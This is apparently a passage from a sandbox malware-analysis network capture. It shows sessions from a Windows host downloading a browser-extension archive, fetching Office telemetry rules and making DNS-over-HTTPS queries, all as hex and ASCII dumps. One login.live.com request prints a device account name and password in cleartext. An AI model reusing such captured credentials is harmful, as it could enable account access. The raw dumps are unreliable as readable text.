Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-28 10:05:29 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49818	20.190.147.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:29 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-28 10:05:29 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 7a 75 6c 72 75 63 67 64 6d 66 76 63 6d 61 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 70 76 43 2c 68 68 6d 57 53 70 61 45 21 65 48 76 3a 2e 66 60 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02zulrucgdmfvcma</Membername><Password>pvC,hhmWSpaE!eHv:.f`</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:29 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100529Z-174f7845968psccphC1EWRuz9s0000000ye0000000008y8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49835	162.159.61.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a352b8ff5f7-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49837	162.159.61.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a358ba24388-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 10 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49841	172.64.41.3	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 10:05:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 10:05:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 10:05:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e998a361abd0f67-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 10:05:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:30 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100530Z-174f7845968xr5c2hC1EWRd0hn0000000f2000000000851e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100530Z-174f7845968vqt9xhC1EWRgten0000000yag000000004q2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:30 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e297b188-201e-0000-7a1b-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100530Z-174f784596886s2bhC1EWR743w0000000yag0000000047ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 